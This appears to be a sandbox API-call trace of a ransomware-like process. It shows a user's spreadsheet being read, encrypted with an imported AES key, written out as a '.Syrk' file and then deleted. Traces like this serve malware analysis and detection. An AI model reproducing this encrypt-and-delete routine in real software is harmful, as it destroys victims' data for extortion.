(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0229.916] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0229.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0229.916] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.916] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0229.916] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0229.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0229.916] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0229.917] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.917] EtwEventActivityIdControl () returned 0x0 [0229.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0229.917] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0229.917] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.919] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0229.921] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x23b2398*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0229.922] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.922] EtwEventActivityIdControl () returned 0x0 [0229.922] EtwEventActivityIdControl () returned 0x0 [0229.922] EtwEventActivityIdControl () returned 0x0 [0229.987] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0229.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0229.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0229.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0229.992] EtwEventActivityIdControl () returned 0x0 [0229.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.994] EtwEventActivityIdControl () returned 0x0 [0229.994] EtwEventActivityIdControl () returned 0x0 [0229.994] EtwEventActivityIdControl () returned 0x0 [0229.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0229.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0229.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.000] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0230.000] GetFileType (hFile=0x454) returned 0x1 [0230.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.000] GetFileType (hFile=0x454) returned 0x1 [0230.001] EtwEventActivityIdControl () returned 0x0 [0230.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.002] EtwEventActivityIdControl () returned 0x0 [0230.002] EtwEventActivityIdControl () returned 0x0 [0230.002] EtwEventActivityIdControl () returned 0x0 [0230.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0230.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", lpFilePart=0x0) returned 0x39 [0230.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.004] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0230.005] GetFileType (hFile=0x458) returned 0x1 [0230.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.006] GetFileType (hFile=0x458) returned 0x1 [0230.006] EtwEventActivityIdControl () returned 0x0 [0230.006] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x23c351c | out: pbBuffer=0x23c351c) returned 1 [0230.007] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.007] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99960) returned 1 [0230.007] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.008] CryptSetKeyParam (hKey=0x5c99960, dwParam=0x4, pbData=0x23c4854*=0x1, dwFlags=0x0) returned 1 [0230.008] CryptSetKeyParam (hKey=0x5c99960, dwParam=0x1, pbData=0x23c4820, dwFlags=0x0) returned 1 [0230.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.008] EtwEventActivityIdControl () returned 0x0 [0230.008] EtwEventActivityIdControl () returned 0x0 [0230.008] EtwEventActivityIdControl () returned 0x0 [0230.009] EtwEventActivityIdControl () returned 0x0 [0230.010] ReadFile (in: hFile=0x454, lpBuffer=0x23c7490, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23c7490*, lpNumberOfBytesRead=0x5a2e7d8*=0xe860, lpOverlapped=0x0) returned 1 [0230.013] CryptEncrypt (in: hKey=0x5c99960, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23db4a8*, pdwDataLen=0x5a2e7cc*=0xe860, dwBufLen=0xe860 | out: pbData=0x23db4a8*, pdwDataLen=0x5a2e7cc*=0xe860) returned 1 [0230.014] WriteFile (in: hFile=0x458, lpBuffer=0x23c3604*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23c3604*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0230.015] WriteFile (in: hFile=0x458, lpBuffer=0x23dc494*, nNumberOfBytesToWrite=0xd874, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23dc494*, lpNumberOfBytesWritten=0x5a2e7b0*=0xd874, lpOverlapped=0x0) returned 1 [0230.017] ReadFile (in: hFile=0x454, lpBuffer=0x23c7490, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23c7490*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0230.017] CryptEncrypt (in: hKey=0x5c99960, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e9d14*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23e9d14*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0230.017] CryptEncrypt (in: hKey=0x5c99960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23e9d30*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23e9d30*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0230.017] WriteFile (in: hFile=0x458, lpBuffer=0x23c3604*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23c3604*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0230.017] CloseHandle (hObject=0x458) returned 1 [0230.019] CloseHandle (hObject=0x454) returned 1 [0230.020] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.020] EtwEventActivityIdControl () returned 0x0 [0230.020] EtwEventActivityIdControl () returned 0x0 [0230.020] EtwEventActivityIdControl () returned 0x0 [0230.075] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0230.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0230.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0230.077] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.077] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.077] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0230.078] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0230.078] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.078] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.078] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0230.078] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0230.078] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.078] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0230.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0230.079] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.079] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0230.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0230.079] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0230.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0230.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0230.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0230.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0230.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0230.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0230.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0230.082] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0230.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0230.083] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0230.083] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0230.083] CoTaskMemFree (pv=0x5c9a950) [0230.085] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0230.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0230.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0230.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0230.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x23f5998 | out: lpFileInformation=0x23f5998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf53e80, ftCreationTime.dwHighDateTime=0x1d96547, ftLastAccessTime.dwLowDateTime=0x8fded690, ftLastAccessTime.dwHighDateTime=0x1d9914f, ftLastWriteTime.dwLowDateTime=0x8fded690, ftLastWriteTime.dwHighDateTime=0x1d9914f, nFileSizeHigh=0x0, nFileSizeLow=0xe860)) returned 1 [0230.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0230.086] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 1 [0230.088] EtwEventActivityIdControl () returned 0x0 [0230.089] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.089] EtwEventActivityIdControl () returned 0x0 [0230.089] EtwEventActivityIdControl () returned 0x0 [0230.089] EtwEventActivityIdControl () returned 0x0 [0230.096] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx.syrk")) returned 0x20 [0230.097] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx.syrk")) returned 0x20 [0230.097] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0230.097] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk", lpFilePart=0x0) returned 0x39 [0230.098] EtwEventActivityIdControl () returned 0x0 [0230.098] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.098] EtwEventActivityIdControl () returned 0x0 [0230.098] EtwEventActivityIdControl () returned 0x0 [0230.098] EtwEventActivityIdControl () returned 0x0 [0230.102] EtwEventActivityIdControl () returned 0x0 [0230.103] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.103] EtwEventActivityIdControl () returned 0x0 [0230.103] EtwEventActivityIdControl () returned 0x0 [0230.103] EtwEventActivityIdControl () returned 0x0 [0230.106] EtwEventActivityIdControl () returned 0x0 [0230.107] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.107] EtwEventActivityIdControl () returned 0x0 [0230.107] EtwEventActivityIdControl () returned 0x0 [0230.107] EtwEventActivityIdControl () returned 0x0 [0230.111] EtwEventActivityIdControl () returned 0x0 [0230.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.111] EtwEventActivityIdControl () returned 0x0 [0230.111] EtwEventActivityIdControl () returned 0x0 [0230.111] EtwEventActivityIdControl () returned 0x0 [0230.115] EtwEventActivityIdControl () returned 0x0 [0230.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.178] EtwEventActivityIdControl () returned 0x0 [0230.178] EtwEventActivityIdControl () returned 0x0 [0230.178] EtwEventActivityIdControl () returned 0x0 [0230.182] EtwEventActivityIdControl () returned 0x0 [0230.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0230.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23ffbb4 | out: lpFileInformation=0x23ffbb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512e840, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x512e840, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x51549a0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xe884)) returned 1 [0230.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0230.188] GetConsoleOutputCP () returned 0x1b5 [0230.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.188] GetConsoleOutputCP () returned 0x1b5 [0230.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.188] GetConsoleOutputCP () returned 0x1b5 [0230.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.188] GetConsoleOutputCP () returned 0x1b5 [0230.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.189] GetConsoleOutputCP () returned 0x1b5 [0230.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.189] GetConsoleOutputCP () returned 0x1b5 [0230.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.189] GetConsoleOutputCP () returned 0x1b5 [0230.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.189] GetConsoleOutputCP () returned 0x1b5 [0230.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.189] GetConsoleOutputCP () returned 0x1b5 [0230.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.190] GetConsoleOutputCP () returned 0x1b5 [0230.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.190] GetConsoleOutputCP () returned 0x1b5 [0230.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.190] GetConsoleOutputCP () returned 0x1b5 [0230.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.190] GetConsoleOutputCP () returned 0x1b5 [0230.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.191] GetConsoleOutputCP () returned 0x1b5 [0230.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.191] GetConsoleOutputCP () returned 0x1b5 [0230.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.191] GetConsoleOutputCP () returned 0x1b5 [0230.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.191] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0230.192] 